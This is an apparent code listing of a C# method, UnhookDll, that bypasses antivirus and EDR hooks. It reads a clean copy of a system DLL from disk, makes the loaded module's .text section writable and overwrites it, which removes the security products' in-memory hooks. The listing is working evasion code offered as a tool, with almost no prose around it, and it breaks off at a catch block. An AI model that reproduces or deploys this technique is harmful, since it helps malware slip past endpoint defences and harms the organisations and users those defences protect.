Unhooks a DLL by replacing the .text section with the original DLL section. The bitness of the current process must match the bitness of the operating system. The name of the DLL to unhook.
(string name)
| 12 | /// </summary> |
| 13 | /// <param name="name">The name of the DLL to unhook.</param> |
| 14 | public static unsafe void UnhookDll(string name) |
| 15 | { |
| 16 | try |
| 17 | { |
| 18 | // Get original DLL handle. This DLL is possibly hooked by AV/EDR solutions. |
| 19 | IntPtr dll = GetModuleHandle(name); |
| 20 | if (dll != IntPtr.Zero) |
| 21 | { |
| 22 | if (GetModuleInformation(GetCurrentProcess(), dll, out MODULEINFO moduleInfo, (uint)sizeof(MODULEINFO))) |
| 23 | { |
| 24 | // Retrieve a clean copy of the DLL file. |
| 25 | IntPtr dllFile = CreateFileA(@"C:\Windows\System32\" + name, 0x80000000, 1, IntPtr.Zero, 3, 0, IntPtr.Zero); |
| 26 | if (dllFile != (IntPtr)(-1)) |
| 27 | { |
| 28 | // Map the clean DLL into memory |
| 29 | IntPtr dllMapping = CreateFileMapping(dllFile, IntPtr.Zero, 0x1000002, 0, 0, null); |
| 30 | if (dllMapping != IntPtr.Zero) |
| 31 | { |
| 32 | IntPtr dllMappedFile = MapViewOfFile(dllMapping, 4, 0, 0, IntPtr.Zero); |
| 33 | if (dllMappedFile != IntPtr.Zero) |
| 34 | { |
| 35 | int ntHeaders = Marshal.ReadInt32((IntPtr)((long)moduleInfo.BaseOfDll + 0x3c)); |
| 36 | short numberOfSections = Marshal.ReadInt16((IntPtr)((long)dll + ntHeaders + 0x6)); |
| 37 | short sizeOfOptionalHeader = Marshal.ReadInt16(dll, ntHeaders + 0x14); |
| 38 | |
| 39 | for (short i = 0; i < numberOfSections; i++) |
| 40 | { |
| 41 | IntPtr sectionHeader = (IntPtr)((long)dll + ntHeaders + 0x18 + sizeOfOptionalHeader + i * 0x28); |
| 42 | |
| 43 | // Find the .text section of the hooked DLL and overwrite it with the original DLL section |
| 44 | if (Marshal.ReadByte(sectionHeader) == '.' && |
| 45 | Marshal.ReadByte((IntPtr)((long)sectionHeader + 1)) == 't' && |
| 46 | Marshal.ReadByte((IntPtr)((long)sectionHeader + 2)) == 'e' && |
| 47 | Marshal.ReadByte((IntPtr)((long)sectionHeader + 3)) == 'x' && |
| 48 | Marshal.ReadByte((IntPtr)((long)sectionHeader + 4)) == 't') |
| 49 | { |
| 50 | int virtualAddress = Marshal.ReadInt32((IntPtr)((long)sectionHeader + 0xc)); |
| 51 | uint virtualSize = (uint)Marshal.ReadInt32((IntPtr)((long)sectionHeader + 0x8)); |
| 52 | |
| 53 | VirtualProtect((IntPtr)((long)dll + virtualAddress), (IntPtr)virtualSize, 0x40, out uint oldProtect); |
| 54 | memcpy((IntPtr)((long)dll + virtualAddress), (IntPtr)((long)dllMappedFile + virtualAddress), (IntPtr)virtualSize); |
| 55 | VirtualProtect((IntPtr)((long)dll + virtualAddress), (IntPtr)virtualSize, oldProtect, out _); |
| 56 | break; |
| 57 | } |
| 58 | } |
| 59 | } |
| 60 | |
| 61 | CloseHandle(dllMapping); |
| 62 | } |
| 63 | |
| 64 | CloseHandle(dllFile); |
| 65 | } |
| 66 | } |
| 67 | |
| 68 | FreeLibrary(dll); |
| 69 | } |
| 70 | } |
| 71 | catch |